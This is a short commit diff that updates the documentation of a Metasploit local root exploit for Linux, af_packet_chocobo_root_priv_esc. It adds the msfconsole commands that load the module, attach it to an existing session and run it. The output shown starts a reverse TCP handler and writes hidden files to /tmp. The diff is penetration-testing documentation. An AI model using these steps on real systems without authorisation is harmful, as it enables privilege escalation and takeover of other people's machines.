Update documentation

Author: bcoles

documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md

@@ -70,6 +70,10 @@
 ## Scenarios
 
   ```
+  msf5 > use exploit/linux/local/af_packet_chocobo_root_priv_esc 
+  msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > set session 1
+  session => 1
+  msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > run
   [*] Started reverse TCP handler on 172.16.191.188:4444 
   [*] Writing '/tmp/.iDLrwN3S4.c' (24885 bytes) ...
   [*] Writing '/tmp/.rMIvkKT' (207 bytes) ...